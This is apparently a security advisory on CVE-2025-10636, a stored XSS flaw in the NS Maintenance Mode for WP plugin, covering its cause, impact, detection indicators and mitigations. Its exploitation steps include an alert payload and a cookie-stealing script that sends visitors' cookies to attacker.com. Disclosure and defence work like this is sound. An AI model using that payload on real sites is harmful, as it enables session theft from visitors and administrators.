CVE-2025-10636: 
WordPress vulnerability analysis and mitigation

CVE-2025-10636 is a Stored Cross-Site Scripting (XSS) vulnerability in the NS Maintenance Mode for WP WordPress plugin affecting versions through 1.3.1. The flaw allows high-privilege users (admin-level) to inject and store malicious scripts via unsanitized plugin settings, even when the unfiltered_html capability is disabled — a scenario common in WordPress multisite environments. The vulnerability was discovered by researcher Bob Matyas, added to WPScan on 2025-10-01, and publicly published on 2025-10-08, with NVD publication on 2025-10-30. It carries a CVSS v3.1 base score of 3.5 (Low) (WPScan, Red Hat CVE).

The root cause is improper neutralization of user-controlled input in HTML output (CWE-79), specifically in the plugin's settings fields such as the footer text field. The plugin fails to sanitize and escape settings values before rendering them on the frontend, allowing stored JavaScript payloads to execute in visitors' browsers. Exploitation requires an authenticated admin-level user to navigate to the plugin's admin dashboard (/wp-admin/admin.php?page=ns-maintenance-mode-for-wp/ns-admin-options/ns_admin_option_dashboard.php) and inject a payload into a vulnerable field. A public proof-of-concept is available via WPScan, demonstrating injection via the ns_mm_footer_text field (WPScan).

Successful exploitation allows a malicious or compromised admin account to store JavaScript payloads that execute in the browsers of any user visiting the affected site's frontend, including other administrators. This can lead to session cookie theft, credential harvesting, defacement of the maintenance page, or redirection of visitors to malicious sites. The confidentiality and integrity impacts are low and scoped to the affected site, with no availability impact; however, in multisite WordPress environments where unfiltered_html is restricted, this vulnerability bypasses an expected security control (WPScan, Red Hat CVE).

No evidence of in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Exploitation requires high privileges (admin access), which significantly limits the attack surface. A public proof-of-concept is documented in the WPScan advisory (WPScan).

1. Authenticate as Admin: Log in to the WordPress admin panel with an administrator account on a site running NS Maintenance Mode for WP version 1.3.1 or earlier.
2. Navigate to Plugin Settings: Go to https://example.com/wp-admin/admin.php?page=ns-maintenance-mode-for-wp%2Fns-admin-options%2Fns_admin_option_dashboard.php.
3. Inject XSS Payload: In the footer text field (or another unsanitized settings field), enter a malicious JavaScript payload such as <script>alert(/XSS: ns_mm_footer_text/)</script> or a more targeted payload to steal cookies (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Save Settings: Submit the form to store the payload in the WordPress database.
5. Trigger Execution: Any user (including other admins) who visits the site's frontend while the maintenance mode page is active will have the stored script execute in their browser, potentially exposing session tokens or other sensitive data (WPScan).

• Logs: WordPress admin access logs showing requests to /wp-admin/admin.php?page=ns-maintenance-mode-for-wp/ns-admin-options/ns_admin_option_dashboard.php with POST data containing script tags or encoded JavaScript payloads.
• Database: Unexpected JavaScript or HTML script tags stored in the wp_options table under option names associated with the NS Maintenance Mode for WP plugin (e.g., ns_mm_footer_text).
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting the maintenance page, potentially indicating cookie exfiltration.
• File System: No file-based indicators expected, as the payload is stored in the database rather than the filesystem.

As of the time of disclosure, there is no known fix available for the NS Maintenance Mode for WP plugin — the WPScan advisory explicitly states "No known fix" (WPScan). Recommended mitigations include: (1) Disable or remove the plugin until a patched version is released; (2) Restrict admin access to trusted users only and enforce strong authentication (e.g., MFA); (3) Monitor plugin settings for unexpected script content in the database; and (4) Apply a Web Application Firewall (WAF) rule to detect and block XSS payloads in admin form submissions.

Wordfence included this vulnerability in their weekly WordPress vulnerability report for the period of October 27–November 2, 2025, as part of routine coverage of newly disclosed WordPress plugin issues (Wordfence). No significant independent researcher commentary or broader media coverage has been identified for this low-severity vulnerability.